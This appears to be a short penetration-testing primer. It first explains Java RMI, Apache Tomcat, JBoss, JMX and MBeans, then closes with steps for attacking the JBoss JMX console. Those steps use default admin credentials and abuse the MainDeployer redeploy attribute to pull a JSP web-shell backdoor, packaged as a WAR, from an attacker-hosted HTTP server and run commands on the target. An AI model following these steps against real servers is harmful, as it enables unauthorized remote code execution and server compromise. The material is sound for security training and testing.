What is Java RMI?
The Java Remote Method Invocation (RMI) system allows an object running in one Java virtual machine to invoke methods on an object running in another Java virtual machine. RMI provides for remote communication between programs written in the Java programming language.
When developers want to make their Java objects available within the network, they usually bind them to an RMI registry. The registry stores all information required to connect to the object (IP address, listening port, implemented class or interface and the ObjID value) and makes it available under a human readable name (the bound name). Clients that want to consume the RMI service ask the RMI registry for the corresponding bound name and the registry returns all required information to connect. Thus, the situation is basically the same as with an ordinary DNS service.
What is Apache Tomcat?
Apache Tomcat is a free and open-source implementation of the Jakarta Servlet, Jakarta Expression Language, and WebSocket technologies. It provides a "pure Java" HTTP web server environment in which Java code can run.
What is JBoss application server?
JBoss application server is an open-source platform, developed by Red Hat, used for implementing Java applications and a wide variety of other software applications. You can build and deploy Java services to be scaled to fit the size of your business.
What is JMX?
Java Management Extensions (JMX) is a Java technology that supplies tools for managing and monitoring applications, system objects, devices (such as printers) and service-oriented networks. Those resources are represented by objects called MBeans (for Managed Bean).
Using the JMX console, we can manage the application and, therefore, alter it to execute malicious code on the target server and gain remote code execution.
What is an MBean?
An MBean is a managed Java object, similar to a JavaBeans component, that follows the design patterns set forth in the JMX specification. An MBean can represent a device, an application, or any resource that needs to be managed.

Attacking JBOSS JMX Management
default username/password is admin:admin
- Under 'JMX Agent View' page, you can search for any JBOSS API
- search for 'jboss.system*' to Search for the MainDeployer (JBoss System API).
- The MainDeployer service can be used to manage deployments on the JBoss application server.
- Scroll down to the redeploy attribute. Make sure the redeploy attribute accepts a URL as the input (java.net.URL)
- Use the backdoor JSP Payload from -https://github.com/fuzzdb-project/fuzzdb/blob/master/web-backdoors/jsp/cmd.jsp
- Create a war file using `jar -cvf cmd.war cmd.jsp`
- Set it on a python HTTP Server and make sure its accessible from JBOSS Server , we can invoke a war file from a url and install it
- Under MainDeployer, Head over to the JMX Console page and under the redeploy attribute --> java.net.URL --> paste the cmd.war file url and hit "Deploy"
- now head over to 'http://domain.com/cmd/cmd.jsp' for GET command Execution
